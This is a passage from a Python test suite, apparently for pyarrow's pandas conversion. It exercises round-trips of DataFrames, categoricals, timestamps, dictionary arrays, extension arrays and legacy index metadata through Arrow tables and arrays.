self.check_zero_copy_failure(pa.array(arr)) def test_zero_copy_failure_on_duration_types(self): arr = np.array([1], dtype='timedelta64[ns]') self.check_zero_copy_failure(pa.array(arr)) # This function must be at the top-level for Python 2.7's multiprocessing def _non_threaded_conversion(): df = _alltypes_example() _check_pandas_roundtrip(df, use_threads=False) _check_pandas_roundtrip(df, use_threads=False, as_batch=True) def _threaded_conversion(): df = _alltypes_example() _check_pandas_roundtrip(df, use_threads=True) _check_pandas_roundtrip(df, use_threads=True, as_batch=True) class TestConvertMisc(object): """ Miscellaneous conversion tests. """ type_pairs = [ (np.int8, pa.int8()), (np.int16, pa.int16()), (np.int32, pa.int32()), (np.int64, pa.int64()), (np.uint8, pa.uint8()), (np.uint16, pa.uint16()), (np.uint32, pa.uint32()), (np.uint64, pa.uint64()), (np.float16, pa.float16()), (np.float32, pa.float32()), (np.float64, pa.float64()), # XXX unsupported # (np.dtype([('a', 'i2')]), pa.struct([pa.field('a', pa.int16())])), (np.object, pa.string()), (np.object, pa.binary()), (np.object, pa.binary(10)), (np.object, pa.list_(pa.int64())), ] def test_all_none_objects(self): df = pd.DataFrame({'a': [None, None, None]}) _check_pandas_roundtrip(df) def test_all_none_category(self): df = pd.DataFrame({'a': [None, None, None]}) df['a'] = df['a'].astype('category') _check_pandas_roundtrip(df) def test_empty_arrays(self): for dtype, pa_type in self.type_pairs: arr = np.array([], dtype=dtype) _check_array_roundtrip(arr, type=pa_type) def test_non_threaded_conversion(self): _non_threaded_conversion() def test_threaded_conversion_multiprocess(self): # Parallel conversion should work from child processes too (ARROW-2963) pool = mp.Pool(2) try: pool.apply(_threaded_conversion) finally: pool.close() pool.join() def test_category(self): repeats = 5 v1 = ['foo', None, 'bar', 'qux', np.nan] v2 = [4, 5, 6, 7, 8] v3 = [b'foo', None, b'bar', b'qux', np.nan] arrays = { 'cat_strings': pd.Categorical(v1 * repeats), 'cat_strings_with_na': pd.Categorical(v1 * repeats, categories=['foo', 'bar']), 'cat_ints': pd.Categorical(v2 * repeats), 'cat_binary': pd.Categorical(v3 * repeats), 'cat_strings_ordered': pd.Categorical( v1 * repeats, categories=['bar', 'qux', 'foo'], ordered=True), 'ints': v2 * repeats, 'ints2': v2 * repeats, 'strings': v1 * repeats, 'strings2': v1 * repeats, 'strings3': v3 * repeats} df = pd.DataFrame(arrays) _check_pandas_roundtrip(df) for k in arrays: _check_array_roundtrip(arrays[k]) def test_category_implicit_from_pandas(self): # ARROW-3374 def _check(v): arr = pa.array(v) result = arr.to_pandas() tm.assert_series_equal(pd.Series(result), pd.Series(v)) arrays = [ pd.Categorical(['a', 'b', 'c'], categories=['a', 'b']), pd.Categorical(['a', 'b', 'c'], categories=['a', 'b'], ordered=True) ] for arr in arrays: _check(arr) def test_empty_category(self): # ARROW-2443 df = pd.DataFrame({'cat': pd.Categorical([])}) _check_pandas_roundtrip(df) def test_category_zero_chunks(self): # ARROW-5952 for pa_type, dtype in [(pa.string(), 'object'), (pa.int64(), 'int64')]: a = pa.chunked_array([], pa.dictionary(pa.int8(), pa_type)) result = a.to_pandas() expected = pd.Categorical([], categories=np.array([], dtype=dtype)) tm.assert_series_equal(pd.Series(result), pd.Series(expected)) table = pa.table({'a': a}) result = table.to_pandas() expected = pd.DataFrame({'a': expected}) tm.assert_frame_equal(result, expected) def test_mixed_types_fails(self): data = pd.DataFrame({'a': ['a', 1, 2.0]}) with pytest.raises(pa.ArrowTypeError): pa.Table.from_pandas(data) data = pd.DataFrame({'a': [1, True]}) with pytest.raises(pa.ArrowTypeError): pa.Table.from_pandas(data) data = pd.DataFrame({'a': ['a', 1, 2.0]}) expected_msg = 'Conversion failed for column a' with pytest.raises(pa.ArrowTypeError, match=expected_msg): pa.Table.from_pandas(data) def test_strided_data_import(self): cases = [] columns = ['a', 'b', 'c'] N, K = 100, 3 random_numbers = np.random.randn(N, K).copy() * 100 numeric_dtypes = ['i1', 'i2', 'i4', 'i8', 'u1', 'u2', 'u4', 'u8', 'f4', 'f8'] for type_name in numeric_dtypes: cases.append(random_numbers.astype(type_name)) # strings cases.append(np.array([random_ascii(10) for i in range(N * K)], dtype=object) .reshape(N, K).copy()) # booleans boolean_objects = (np.array([True, False, True] * N, dtype=object) .reshape(N, K).copy()) # add some nulls, so dtype comes back as objects boolean_objects[5] = None cases.append(boolean_objects) cases.append(np.arange("2016-01-01T00:00:00.001", N * K, dtype='datetime64[ms]') .reshape(N, K).copy()) strided_mask = (random_numbers > 0).astype(bool)[:, 0] for case in cases: df = pd.DataFrame(case, columns=columns) col = df['a'] _check_pandas_roundtrip(df) _check_array_roundtrip(col) _check_array_roundtrip(col, mask=strided_mask) def test_all_nones(self): def _check_series(s): converted = pa.array(s) assert isinstance(converted, pa.NullArray) assert len(converted) == 3 assert converted.null_count == 3 for item in converted: assert item is pa.NA _check_series(pd.Series([None] * 3, dtype=object)) _check_series(pd.Series([np.nan] * 3, dtype=object)) _check_series(pd.Series([None, np.nan, None], dtype=object)) def test_partial_schema(self): data = OrderedDict([ ('a', [0, 1, 2, 3, 4]), ('b', np.array([-10, -5, 0, 5, 10], dtype=np.int32)), ('c', [-10, -5, 0, 5, 10]) ]) df = pd.DataFrame(data) partial_schema = pa.schema([ pa.field('c', pa.int64()), pa.field('a', pa.int64()) ]) _check_pandas_roundtrip(df, schema=partial_schema, expected=df[['c', 'a']], expected_schema=partial_schema) def test_table_batch_empty_dataframe(self): df = pd.DataFrame({}) _check_pandas_roundtrip(df) _check_pandas_roundtrip(df, as_batch=True) df2 = pd.DataFrame({}, index=[0, 1, 2]) _check_pandas_roundtrip(df2, preserve_index=True) _check_pandas_roundtrip(df2, as_batch=True, preserve_index=True) def test_convert_empty_table(self): arr = pa.array([], type=pa.int64()) empty_objects = pd.Series(np.array([], dtype=object)) tm.assert_almost_equal(arr.to_pandas(), pd.Series(np.array([], dtype=np.int64))) arr = pa.array([], type=pa.string()) tm.assert_almost_equal(arr.to_pandas(), empty_objects) arr = pa.array([], type=pa.list_(pa.int64())) tm.assert_almost_equal(arr.to_pandas(), empty_objects) arr = pa.array([], type=pa.struct([pa.field('a', pa.int64())])) tm.assert_almost_equal(arr.to_pandas(), empty_objects) def test_non_natural_stride(self): """ ARROW-2172: converting from a Numpy array with a stride that's not a multiple of itemsize. """ dtype = np.dtype([('x', np.int32), ('y', np.int16)]) data = np.array([(42, -1), (-43, 2)], dtype=dtype) assert data.strides == (6,) arr = pa.array(data['x'], type=pa.int32()) assert arr.to_pylist() == [42, -43] arr = pa.array(data['y'], type=pa.int16()) assert arr.to_pylist() == [-1, 2] def test_array_from_strided_numpy_array(self): # ARROW-5651 np_arr = np.arange(0, 10, dtype=np.float32)[1:-1:2] pa_arr = pa.array(np_arr, type=pa.float64()) expected = pa.array([1.0, 3.0, 5.0, 7.0], type=pa.float64()) pa_arr.equals(expected) def test_safe_unsafe_casts(self): # ARROW-2799 df = pd.DataFrame({ 'A': list('abc'), 'B': np.linspace(0, 1, 3) }) schema = pa.schema([ pa.field('A', pa.string()), pa.field('B', pa.int32()) ]) with pytest.raises(ValueError): pa.Table.from_pandas(df, schema=schema) table = pa.Table.from_pandas(df, schema=schema, safe=False) assert table.column('B').type == pa.int32() def test_error_sparse(self): # ARROW-2818 df = pd.DataFrame({'a': pd.SparseArray([1, np.nan, 3])}) with pytest.raises(TypeError, match="Sparse pandas data"): pa.Table.from_pandas(df) def test_safe_cast_from_float_with_nans_to_int(): # TODO(kszucs): write tests for creating Date32 and Date64 arrays, see # ARROW-4258 and https://github.com/apache/arrow/pull/3395 values = pd.Series([1, 2, None, 4]) arr = pa.Array.from_pandas(values, type=pa.int32(), safe=True) expected = pa.array([1, 2, None, 4], type=pa.int32()) assert arr.equals(expected) def _fully_loaded_dataframe_example(): index = pd.MultiIndex.from_arrays([ pd.date_range('2000-01-01', periods=5).repeat(2), np.tile(np.array(['foo', 'bar'], dtype=object), 5) ]) c1 = pd.date_range('2000-01-01', periods=10) data = { 0: c1, 1: c1.tz_localize('utc'), 2: c1.tz_localize('US/Eastern'), 3: c1[::2].tz_localize('utc').repeat(2).astype('category'), 4: ['foo', 'bar'] * 5, 5: pd.Series(['foo', 'bar'] * 5).astype('category').values, 6: [True, False] * 5, 7: np.random.randn(10), 8: np.random.randint(0, 100, size=10), 9: pd.period_range('2013', periods=10, freq='M') } if LooseVersion(pd.__version__) >= '0.21': # There is an issue with pickling IntervalIndex in pandas 0.20.x data[10] = pd.interval_range(start=1, freq=1, periods=10) return pd.DataFrame(data, index=index) @pytest.mark.parametrize('columns', ([b'foo'], ['foo'])) def test_roundtrip_with_bytes_unicode(columns): df = pd.DataFrame(columns=columns) table1 = pa.Table.from_pandas(df) table2 = pa.Table.from_pandas(table1.to_pandas()) assert table1.equals(table2) assert table1.schema.equals(table2.schema) assert table1.schema.metadata == table2.schema.metadata def _check_serialize_components_roundtrip(df): ctx = pa.default_serialization_context() components = ctx.serialize(df).to_components() deserialized = ctx.deserialize_components(components) tm.assert_frame_equal(df, deserialized) @pytest.mark.skipif(LooseVersion(np.__version__) >= '0.16', reason='Until numpy/numpy#12745 is resolved') def test_serialize_deserialize_pandas(): # ARROW-1784, serialize and deserialize DataFrame by decomposing # BlockManager df = _fully_loaded_dataframe_example() _check_serialize_components_roundtrip(df) def _pytime_from_micros(val): microseconds = val % 1000000 val //= 1000000 seconds = val % 60 val //= 60 minutes = val % 60 hours = val // 60 return time(hours, minutes, seconds, microseconds) def _pytime_to_micros(pytime): return (pytime.hour * 3600000000 + pytime.minute * 60000000 + pytime.second * 1000000 + pytime.microsecond) def test_convert_unsupported_type_error_message(): # ARROW-1454 # period as yet unsupported df = pd.DataFrame({ 'a': pd.period_range('2000-01-01', periods=20), }) expected_msg = 'Conversion failed for column a with type period' with pytest.raises(pa.ArrowInvalid, match=expected_msg): pa.Table.from_pandas(df) # ---------------------------------------------------------------------- # Test object deduplication in to_pandas def _generate_dedup_example(nunique, repeats): unique_values = [tm.rands(10) for i in range(nunique)] return unique_values * repeats def _assert_nunique(obj, expected): assert len({id(x) for x in obj}) == expected def test_to_pandas_deduplicate_strings_array_types(): nunique = 100 repeats = 10 values = _generate_dedup_example(nunique, repeats) for arr in [pa.array(values, type=pa.binary()), pa.array(values, type=pa.utf8()), pa.chunked_array([values, values])]: _assert_nunique(arr.to_pandas(), nunique) _assert_nunique(arr.to_pandas(deduplicate_objects=False), len(arr)) def test_to_pandas_deduplicate_strings_table_types(): nunique = 100 repeats = 10 values = _generate_dedup_example(nunique, repeats) arr = pa.array(values) rb = pa.RecordBatch.from_arrays([arr], ['foo']) tbl = pa.Table.from_batches([rb]) for obj in [rb, tbl]: _assert_nunique(obj.to_pandas()['foo'], nunique) _assert_nunique(obj.to_pandas(deduplicate_objects=False)['foo'], len(obj)) def test_to_pandas_deduplicate_integers_as_objects(): nunique = 100 repeats = 10 # Python automatically interns smaller integers unique_values = list(np.random.randint(10000000, 1000000000, size=nunique)) unique_values[nunique // 2] = None arr = pa.array(unique_values * repeats) _assert_nunique(arr.to_pandas(integer_object_nulls=True), nunique) _assert_nunique(arr.to_pandas(integer_object_nulls=True, deduplicate_objects=False), # Account for None (nunique - 1) * repeats + 1) def test_to_pandas_deduplicate_date_time(): nunique = 100 repeats = 10 unique_values = list(range(nunique)) cases = [ # raw type, array type, to_pandas options ('int32', 'date32', {'date_as_object': True}), ('int64', 'date64', {'date_as_object': True}), ('int32', 'time32[ms]', {}), ('int64', 'time64[us]', {}) ] for raw_type, array_type, pandas_options in cases: raw_arr = pa.array(unique_values * repeats, type=raw_type) casted_arr = raw_arr.cast(array_type) _assert_nunique(casted_arr.to_pandas(**pandas_options), nunique) _assert_nunique(casted_arr.to_pandas(deduplicate_objects=False, **pandas_options), len(casted_arr)) # --------------------------------------------------------------------- def test_table_from_pandas_checks_field_nullability(): # ARROW-2136 df = pd.DataFrame({'a': [1.2, 2.1, 3.1], 'b': [np.nan, 'string', 'foo']}) schema = pa.schema([pa.field('a', pa.float64(), nullable=False), pa.field('b', pa.utf8(), nullable=False)]) with pytest.raises(ValueError): pa.Table.from_pandas(df, schema=schema) def test_table_from_pandas_keeps_column_order_of_dataframe(): df1 = pd.DataFrame(OrderedDict([ ('partition', [0, 0, 1, 1]), ('arrays', [[0, 1, 2], [3, 4], None, None]), ('floats', [None, None, 1.1, 3.3]) ])) df2 = df1[['floats', 'partition', 'arrays']] schema1 = pa.schema([ ('partition', pa.int64()), ('arrays', pa.list_(pa.int64())), ('floats', pa.float64()), ]) schema2 = pa.schema([ ('floats', pa.float64()), ('partition', pa.int64()), ('arrays', pa.list_(pa.int64())) ]) table1 = pa.Table.from_pandas(df1, preserve_index=False) table2 = pa.Table.from_pandas(df2, preserve_index=False) assert table1.schema.equals(schema1, check_metadata=False) assert table2.schema.equals(schema2, check_metadata=False) def test_table_from_pandas_keeps_column_order_of_schema(): # ARROW-3766 df = pd.DataFrame(OrderedDict([ ('partition', [0, 0, 1, 1]), ('arrays', [[0, 1, 2], [3, 4], None, None]), ('floats', [None, None, 1.1, 3.3]) ])) schema = pa.schema([ ('floats', pa.float64()), ('arrays', pa.list_(pa.int32())), ('partition', pa.int32()) ]) df1 = df[df.partition == 0] df2 = df[df.partition == 1][['floats', 'partition', 'arrays']] table1 = pa.Table.from_pandas(df1, schema=schema, preserve_index=False) table2 = pa.Table.from_pandas(df2, schema=schema, preserve_index=False) assert table1.schema.equals(schema, check_metadata=False) assert table1.schema.equals(table2.schema, check_metadata=False) def test_table_from_pandas_columns_argument_only_does_filtering(): df = pd.DataFrame(OrderedDict([ ('partition', [0, 0, 1, 1]), ('arrays', [[0, 1, 2], [3, 4], None, None]), ('floats', [None, None, 1.1, 3.3]) ])) columns1 = ['arrays', 'floats', 'partition'] schema1 = pa.schema([ ('arrays', pa.list_(pa.int64())), ('floats', pa.float64()), ('partition', pa.int64()) ]) columns2 = ['floats', 'partition'] schema2 = pa.schema([ ('floats', pa.float64()), ('partition', pa.int64()) ]) table1 = pa.Table.from_pandas(df, columns=columns1, preserve_index=False) table2 = pa.Table.from_pandas(df, columns=columns2, preserve_index=False) assert table1.schema.equals(schema1, check_metadata=False) assert table2.schema.equals(schema2, check_metadata=False) def test_table_from_pandas_columns_and_schema_are_mutually_exclusive(): df = pd.DataFrame(OrderedDict([ ('partition', [0, 0, 1, 1]), ('arrays', [[0, 1, 2], [3, 4], None, None]), ('floats', [None, None, 1.1, 3.3]) ])) schema = pa.schema([ ('partition', pa.int32()), ('arrays', pa.list_(pa.int32())), ('floats', pa.float64()), ]) columns = ['arrays', 'floats'] with pytest.raises(ValueError): pa.Table.from_pandas(df, schema=schema, columns=columns) def test_table_from_pandas_keeps_schema_nullability(): # ARROW-5169 df = pd.DataFrame({'a': [1, 2, 3, 4]}) schema = pa.schema([ pa.field('a', pa.int64(), nullable=False), ]) table = pa.Table.from_pandas(df) assert table.schema.field('a').nullable is True table = pa.Table.from_pandas(df, schema=schema) assert table.schema.field('a').nullable is False def test_table_from_pandas_schema_index_columns(): # ARROW-5220 df = pd.DataFrame({'a': [1, 2, 3], 'b': [0.1, 0.2, 0.3]}) schema = pa.schema([ ('a', pa.int64()), ('b', pa.float64()), ('index', pa.int32()), ]) # schema includes index with name not in dataframe with pytest.raises(KeyError, match="name 'index' present in the"): pa.Table.from_pandas(df, schema=schema) df.index.name = 'index' # schema includes correct index name -> roundtrip works _check_pandas_roundtrip(df, schema=schema, preserve_index=True, expected_schema=schema) # schema includes correct index name but preserve_index=False with pytest.raises(KeyError): pa.Table.from_pandas(df, schema=schema, preserve_index=False) # in case of preserve_index=None -> RangeIndex serialized as metadata # clashes with the index in the schema with pytest.raises(ValueError, match="name 'index' is present in the " "schema, but it is a RangeIndex"): pa.Table.from_pandas(df, schema=schema, preserve_index=None) df.index = pd.Index([0, 1, 2], name='index') # for non-RangeIndex, both preserve_index=None and True work _check_pandas_roundtrip(df, schema=schema, preserve_index=None, expected_schema=schema) _check_pandas_roundtrip(df, schema=schema, preserve_index=True, expected_schema=schema) # schema has different order (index column not at the end) schema = pa.schema([ ('index', pa.int32()), ('a', pa.int64()), ('b', pa.float64()), ]) _check_pandas_roundtrip(df, schema=schema, preserve_index=None, expected_schema=schema) _check_pandas_roundtrip(df, schema=schema, preserve_index=True, expected_schema=schema) # schema does not include the index -> index is not included as column # even though preserve_index=True/None schema = pa.schema([ ('a', pa.int64()), ('b', pa.float64()), ]) expected = df.copy() expected = expected.reset_index(drop=True) _check_pandas_roundtrip(df, schema=schema, preserve_index=None, expected_schema=schema, expected=expected) _check_pandas_roundtrip(df, schema=schema, preserve_index=True, expected_schema=schema, expected=expected) # dataframe with a MultiIndex df.index = pd.MultiIndex.from_tuples([('a', 1), ('a', 2), ('b', 1)], names=['level1', 'level2']) schema = pa.schema([ ('level1', pa.string()), ('level2', pa.int64()), ('a', pa.int64()), ('b', pa.float64()), ]) _check_pandas_roundtrip(df, schema=schema, preserve_index=True, expected_schema=schema) _check_pandas_roundtrip(df, schema=schema, preserve_index=None, expected_schema=schema) # only one of the levels of the MultiIndex is included schema = pa.schema([ ('level2', pa.int64()), ('a', pa.int64()), ('b', pa.float64()), ]) expected = df.copy() expected = expected.reset_index('level1', drop=True) _check_pandas_roundtrip(df, schema=schema, preserve_index=True, expected_schema=schema, expected=expected) _check_pandas_roundtrip(df, schema=schema, preserve_index=None, expected_schema=schema, expected=expected) # ---------------------------------------------------------------------- # RecordBatch, Table def test_recordbatch_from_to_pandas(): data = pd.DataFrame({ 'c1': np.array([1, 2, 3, 4, 5], dtype='int64'), 'c2': np.array([1, 2, 3, 4, 5], dtype='uint32'), 'c3': np.random.randn(5), 'c4': ['foo', 'bar', None, 'baz', 'qux'], 'c5': [False, True, False, True, False] }) batch = pa.RecordBatch.from_pandas(data) result = batch.to_pandas() tm.assert_frame_equal(data, result) def test_recordbatchlist_to_pandas(): data1 = pd.DataFrame({ 'c1': np.array([1, 1, 2], dtype='uint32'), 'c2': np.array([1.0, 2.0, 3.0], dtype='float64'), 'c3': [True, None, False], 'c4': ['foo', 'bar', None] }) data2 = pd.DataFrame({ 'c1': np.array([3, 5], dtype='uint32'), 'c2': np.array([4.0, 5.0], dtype='float64'), 'c3': [True, True], 'c4': ['baz', 'qux'] }) batch1 = pa.RecordBatch.from_pandas(data1) batch2 = pa.RecordBatch.from_pandas(data2) table = pa.Table.from_batches([batch1, batch2]) result = table.to_pandas() data = pd.concat([data1, data2]).reset_index(drop=True) tm.assert_frame_equal(data, result) def test_recordbatch_table_pass_name_to_pandas(): rb = pa.record_batch([pa.array([1, 2, 3, 4])], names=['a0']) t = pa.table([pa.array([1, 2, 3, 4])], names=['a0']) assert rb[0].to_pandas().name == 'a0' assert t[0].to_pandas().name == 'a0' # ---------------------------------------------------------------------- # Metadata serialization @pytest.mark.parametrize( ('type', 'expected'), [ (pa.null(), 'empty'), (pa.bool_(), 'bool'), (pa.int8(), 'int8'), (pa.int16(), 'int16'), (pa.int32(), 'int32'), (pa.int64(), 'int64'), (pa.uint8(), 'uint8'), (pa.uint16(), 'uint16'), (pa.uint32(), 'uint32'), (pa.uint64(), 'uint64'), (pa.float16(), 'float16'), (pa.float32(), 'float32'), (pa.float64(), 'float64'), (pa.date32(), 'date'), (pa.date64(), 'date'), (pa.binary(), 'bytes'), (pa.binary(length=4), 'bytes'), (pa.string(), 'unicode'), (pa.list_(pa.list_(pa.int16())), 'list[list[int16]]'), (pa.decimal128(18, 3), 'decimal'), (pa.timestamp('ms'), 'datetime'), (pa.timestamp('us', 'UTC'), 'datetimetz'), (pa.time32('s'), 'time'), (pa.time64('us'), 'time') ] ) def test_logical_type(type, expected): assert get_logical_type(type) == expected # ---------------------------------------------------------------------- # to_pandas uses MemoryPool def test_array_uses_memory_pool(): # ARROW-6570 N = 10000 arr = pa.array(np.arange(N, dtype=np.int64), mask=np.random.randint(0, 2, size=N).astype(np.bool_)) # In the case the gc is caught loafing gc.collect() prior_allocation = pa.total_allocated_bytes() x = arr.to_pandas() assert pa.total_allocated_bytes() == (prior_allocation + N * 8) x = None # noqa gc.collect() assert pa.total_allocated_bytes() == prior_allocation # zero copy does not allocate memory arr = pa.array(np.arange(N, dtype=np.int64)) prior_allocation = pa.total_allocated_bytes() x = arr.to_pandas() # noqa assert pa.total_allocated_bytes() == prior_allocation def test_table_uses_memory_pool(): N = 10000 arr = pa.array(np.arange(N, dtype=np.int64)) t = pa.table([arr], ['f0']) prior_allocation = pa.total_allocated_bytes() x = t.to_pandas() assert pa.total_allocated_bytes() == (prior_allocation + N * 8) # Check successful garbage collection x = None # noqa gc.collect() assert pa.total_allocated_bytes() == prior_allocation def test_object_leak_in_numpy_array(): # ARROW-6876 arr = pa.array([{'a': 1}]) np_arr = arr.to_pandas() assert np_arr.dtype == np.dtype('object') obj = np_arr[0] refcount = sys.getrefcount(obj) assert sys.getrefcount(obj) == refcount del np_arr assert sys.getrefcount(obj) == refcount - 1 def test_object_leak_in_dataframe(): # ARROW-6876 arr = pa.array([{'a': 1}]) table = pa.table([arr], ['f0']) col = table.to_pandas()['f0'] assert col.dtype == np.dtype('object') obj = col[0] refcount = sys.getrefcount(obj) assert sys.getrefcount(obj) == refcount del col assert sys.getrefcount(obj) == refcount - 1 # ---------------------------------------------------------------------- # Some nested array tests array tests def test_array_from_py_float32(): data = [[1.2, 3.4], [9.0, 42.0]] t = pa.float32() arr1 = pa.array(data[0], type=t) arr2 = pa.array(data, type=pa.list_(t)) expected1 = np.array(data[0], dtype=np.float32) expected2 = pd.Series([np.array(data[0], dtype=np.float32), np.array(data[1], dtype=np.float32)]) assert arr1.type == t assert arr1.equals(pa.array(expected1)) assert arr2.equals(pa.array(expected2)) # ---------------------------------------------------------------------- # Timestamp tests def test_cast_timestamp_unit(): # ARROW-1680 val = datetime.now() s = pd.Series([val]) s_nyc = s.dt.tz_localize('tzlocal()').dt.tz_convert('America/New_York') us_with_tz = pa.timestamp('us', tz='America/New_York') arr = pa.Array.from_pandas(s_nyc, type=us_with_tz) # ARROW-1906 assert arr.type == us_with_tz arr2 = pa.Array.from_pandas(s, type=pa.timestamp('us')) assert arr[0].as_py() == s_nyc[0].to_pydatetime() assert arr2[0].as_py() == s[0].to_pydatetime() # Disallow truncation arr = pa.array([123123], type='int64').cast(pa.timestamp('ms')) expected = pa.array([123], type='int64').cast(pa.timestamp('s')) target = pa.timestamp('s') with pytest.raises(ValueError): arr.cast(target) result = arr.cast(target, safe=False) assert result.equals(expected) # ARROW-1949 series = pd.Series([pd.Timestamp(1), pd.Timestamp(10), pd.Timestamp(1000)]) expected = pa.array([0, 0, 1], type=pa.timestamp('us')) with pytest.raises(ValueError): pa.array(series, type=pa.timestamp('us')) with pytest.raises(ValueError): pa.Array.from_pandas(series, type=pa.timestamp('us')) result = pa.Array.from_pandas(series, type=pa.timestamp('us'), safe=False) assert result.equals(expected) result = pa.array(series, type=pa.timestamp('us'), safe=False) assert result.equals(expected) # ---------------------------------------------------------------------- # DictionaryArray tests def test_dictionary_with_pandas(): indices = np.repeat([0, 1, 2], 2) dictionary = np.array(['foo', 'bar', 'baz'], dtype=object) mask = np.array([False, False, True, False, False, False]) d1 = pa.DictionaryArray.from_arrays(indices, dictionary) d2 = pa.DictionaryArray.from_arrays(indices, dictionary, mask=mask) pandas1 = d1.to_pandas() ex_pandas1 = pd.Categorical.from_codes(indices, categories=dictionary) tm.assert_series_equal(pd.Series(pandas1), pd.Series(ex_pandas1)) pandas2 = d2.to_pandas() ex_pandas2 = pd.Categorical.from_codes(np.where(mask, -1, indices), categories=dictionary) tm.assert_series_equal(pd.Series(pandas2), pd.Series(ex_pandas2)) def random_strings(n, item_size, pct_null=0, dictionary=None): if dictionary is not None: result = dictionary[np.random.randint(0, len(dictionary), size=n)] else: result = np.array([random_ascii(item_size) for i in range(n)], dtype=object) if pct_null > 0: result[np.random.rand(n) < pct_null] = None return result def test_variable_dictionary_to_pandas(): np.random.seed(12345) d1 = pa.array(random_strings(100, 32), type='string') d2 = pa.array(random_strings(100, 16), type='string') d3 = pa.array(random_strings(10000, 10), type='string') a1 = pa.DictionaryArray.from_arrays( np.random.randint(0, len(d1), size=1000, dtype='i4'), d1 ) a2 = pa.DictionaryArray.from_arrays( np.random.randint(0, len(d2), size=1000, dtype='i4'), d2 ) # With some nulls a3 = pa.DictionaryArray.from_arrays( np.random.randint(0, len(d3), size=1000, dtype='i4'), d3) i4 = pa.array( np.random.randint(0, len(d3), size=1000, dtype='i4'), mask=np.random.rand(1000) < 0.1 ) a4 = pa.DictionaryArray.from_arrays(i4, d3) expected_dict = pa.concat_arrays([d1, d2, d3]) a = pa.chunked_array([a1, a2, a3, a4]) a_dense = pa.chunked_array([a1.cast('string'), a2.cast('string'), a3.cast('string'), a4.cast('string')]) result = a.to_pandas() result_dense = a_dense.to_pandas() assert (result.cat.categories == expected_dict.to_pandas()).all() expected_dense = result.astype('str') expected_dense[result_dense.isnull()] = None tm.assert_series_equal(result_dense, expected_dense) # ---------------------------------------------------------------------- # Array protocol in pandas conversions tests def test_array_protocol(): if LooseVersion(pd.__version__) < '0.24.0': pytest.skip('IntegerArray only introduced in 0.24') df = pd.DataFrame({'a': pd.Series([1, 2, None], dtype='Int64')}) if LooseVersion(pd.__version__) < '0.26.0.dev': # with pandas<=0.25, trying to convert nullable integer errors with pytest.raises(TypeError): pa.table(df) else: # __arrow_array__ added to pandas IntegerArray in 0.26.0.dev # default conversion result = pa.table(df) expected = pa.array([1, 2, None], pa.int64()) assert result[0].chunk(0).equals(expected) # with specifying schema schema = pa.schema([('a', pa.float64())]) result = pa.table(df, schema=schema) expected2 = pa.array([1, 2, None], pa.float64()) assert result[0].chunk(0).equals(expected2) # pass Series to pa.array result = pa.array(df['a']) assert result.equals(expected) result = pa.array(df['a'], type=pa.float64()) assert result.equals(expected2) # pass actual ExtensionArray to pa.array result = pa.array(df['a'].values) assert result.equals(expected) result = pa.array(df['a'].values, type=pa.float64()) assert result.equals(expected2) # ---------------------------------------------------------------------- # Pandas ExtensionArray support def _to_pandas(table, extension_columns=None): # temporary test function as long as we have no public API to do this from pyarrow.pandas_compat import table_to_blockmanager options = dict( pool=None, strings_to_categorical=False, zero_copy_only=False, integer_object_nulls=False, date_as_object=True, use_threads=True, deduplicate_objects=True) mgr = table_to_blockmanager( options, table, extension_columns=extension_columns) return pd.DataFrame(mgr) def test_convert_to_extension_array(): if LooseVersion(pd.__version__) < '0.24.0': pytest.skip(reason='IntegerArray only introduced in 0.24') import pandas.core.internals as _int table = pa.table({'a': [1, 2, 3], 'b': [2, 3, 4]}) df = _to_pandas(table) assert len(df._data.blocks) == 1 assert isinstance(df._data.blocks[0], _int.IntBlock) df = _to_pandas(table, extension_columns=['b']) assert isinstance(df._data.blocks[0], _int.IntBlock) assert isinstance(df._data.blocks[1], _int.ExtensionBlock) table = pa.table({'a': [1, 2, None]}) df = _to_pandas(table, extension_columns=['a']) assert isinstance(df._data.blocks[0], _int.ExtensionBlock) expected = pd.DataFrame({'a': pd.Series([1, 2, None], dtype='Int64')}) tm.assert_frame_equal(df, expected) # ---------------------------------------------------------------------- # Legacy metadata compatibility tests def test_metadata_compat_range_index_pre_0_12(): # Forward compatibility for metadata created from pandas.RangeIndex # prior to pyarrow 0.13.0 a_values = [u'foo', u'bar', None, u'baz'] b_values = [u'a', u'a', u'b', u'b'] a_arrow = pa.array(a_values, type='utf8') b_arrow = pa.array(b_values, type='utf8') rng_index_arrow = pa.array([0, 2, 4, 6], type='int64') gen_name_0 = '__index_level_0__' gen_name_1 = '__index_level_1__' # Case 1: named RangeIndex e1 = pd.DataFrame({ 'a': a_values }, index=pd.RangeIndex(0, 8, step=2, name='qux')) t1 = pa.Table.from_arrays([a_arrow, rng_index_arrow], names=['a', 'qux']) t1 = t1.replace_schema_metadata({ b'pandas': json.dumps( {'index_columns': ['qux'], 'column_indexes': [{'name': None, 'field_name': None, 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': {'encoding': 'UTF-8'}}], 'columns': [{'name': 'a', 'field_name': 'a', 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': None}, {'name': 'qux', 'field_name': 'qux', 'pandas_type': 'int64', 'numpy_type': 'int64', 'metadata': None}], 'pandas_version': '0.23.4'} )}) r1 = t1.to_pandas() tm.assert_frame_equal(r1, e1) # Case 2: named RangeIndex, but conflicts with an actual column e2 = pd.DataFrame({ 'qux': a_values }, index=pd.RangeIndex(0, 8, step=2, name='qux')) t2 = pa.Table.from_arrays([a_arrow, rng_index_arrow], names=['qux', gen_name_0]) t2 = t2.replace_schema_metadata({ b'pandas': json.dumps( {'index_columns': [gen_name_0], 'column_indexes': [{'name': None, 'field_name': None, 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': {'encoding': 'UTF-8'}}], 'columns': [{'name': 'a', 'field_name': 'a', 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': None}, {'name': 'qux', 'field_name': gen_name_0, 'pandas_type': 'int64', 'numpy_type': 'int64', 'metadata': None}], 'pandas_version': '0.23.4'} )}) r2 = t2.to_pandas() tm.assert_frame_equal(r2, e2) # Case 3: unnamed RangeIndex e3 = pd.DataFrame({ 'a': a_values }, index=pd.RangeIndex(0, 8, step=2, name=None)) t3 = pa.Table.from_arrays([a_arrow, rng_index_arrow], names=['a', gen_name_0]) t3 = t3.replace_schema_metadata({ b'pandas': json.dumps( {'index_columns': [gen_name_0], 'column_indexes': [{'name': None, 'field_name': None, 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': {'encoding': 'UTF-8'}}], 'columns': [{'name': 'a', 'field_name': 'a', 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': None}, {'name': None, 'field_name': 